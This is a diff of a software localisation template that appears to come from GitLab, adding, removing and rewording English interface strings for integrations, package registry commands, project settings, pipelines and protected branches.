@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
